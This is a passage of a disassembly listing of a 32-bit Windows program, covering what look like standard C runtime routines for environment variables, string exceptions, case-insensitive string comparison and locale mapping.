					; sub_426180+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4261A8
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------

loc_4261A8:				; CODE XREF: sub_426180+21j
		mov	eax, edx
		retn
sub_426180	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4261AB	proc near		; CODE XREF: sub_425E95+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42620F
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4263F1
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42620F
		cmp	[ebp+arg_0], esi
		jz	short loc_42620F
		mov	eax, dword_4DB2D0
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4DB2D4
		jnz	short loc_4261F5
		push	eax
		call	sub_42638A
		pop	ecx
		mov	dword_4DB2D0, eax

loc_4261F5:				; CODE XREF: sub_4261AB+3Cj
		cmp	eax, edi
		jnz	short loc_42624D
		cmp	[ebp+arg_4], edi
		jz	short loc_426217
		cmp	dword_4DB2D8, edi
		jz	short loc_426217
		call	sub_425E95
		test	eax, eax
		jz	short loc_42624D

loc_42620F:				; CODE XREF: sub_4261AB+Dj
					; sub_4261AB+22j ...
		or	eax, 0FFFFFFFFh

loc_426212:				; CODE XREF: sub_4261AB+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_426217:				; CODE XREF: sub_4261AB+51j
					; sub_4261AB+59j
		cmp	ebx, edi
		jnz	loc_42632B
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D0, eax
		jz	short loc_42620F
		mov	[eax], edi
		cmp	dword_4DB2D8, edi
		jnz	short loc_42624D
		push	4
		call	sub_41B4D5
		cmp	eax, edi
		pop	ecx
		mov	dword_4DB2D8, eax
		jz	short loc_42620F
		mov	[eax], edi

loc_42624D:				; CODE XREF: sub_4261AB+4Cj
					; sub_4261AB+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DB2D0
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_426332
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4262AD
		cmp	dword ptr [edi], 0
		jz	short loc_4262AD
		test	ebx, ebx
		jz	short loc_4262A5
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_41B0B1
		pop	ecx

loc_42627F:				; CODE XREF: sub_4261AB+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_42628F
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_42627F
; ---------------------------------------------------------------------------

loc_42628F:				; CODE XREF: sub_4261AB+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4262DF
		jmp	short loc_4262DA
; ---------------------------------------------------------------------------

loc_4262A5:				; CODE XREF: sub_4261AB+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------

loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi

loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0

loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4DB2D0, eax

loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E0000h
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DB2D0
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]

loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D

loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344

loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		neg	eax

loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4DB2D0
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB

loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1

loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx

loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi

loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------

loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DC71C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]

loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4DC821[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------

loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452

loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------

loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------

loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx

loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger

loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		db 0D9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		jmp	near ptr 28620E4h
sub_42675C	endp

; ---------------------------------------------------------------------------
		db 39h

; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DB364, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]

loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h

loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h

loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------

loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]

loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2

loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi

loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------

loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx

loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------

loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx

loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------

loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax

loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 26703DBh
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------

loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4DB364, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------

loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------

loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4DB364
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4DB5BC, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4DB5BC, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------

loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4CAE5C
		push	edi
		push	esi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4DB5BC, 2

loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax

loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4DB5BC
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2650000h
		nop
		jmp	loc_426B7F
; ---------------------------------------------------------------------------

loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4DB374
		mov	[ebp+arg_18], eax

loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2821136h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
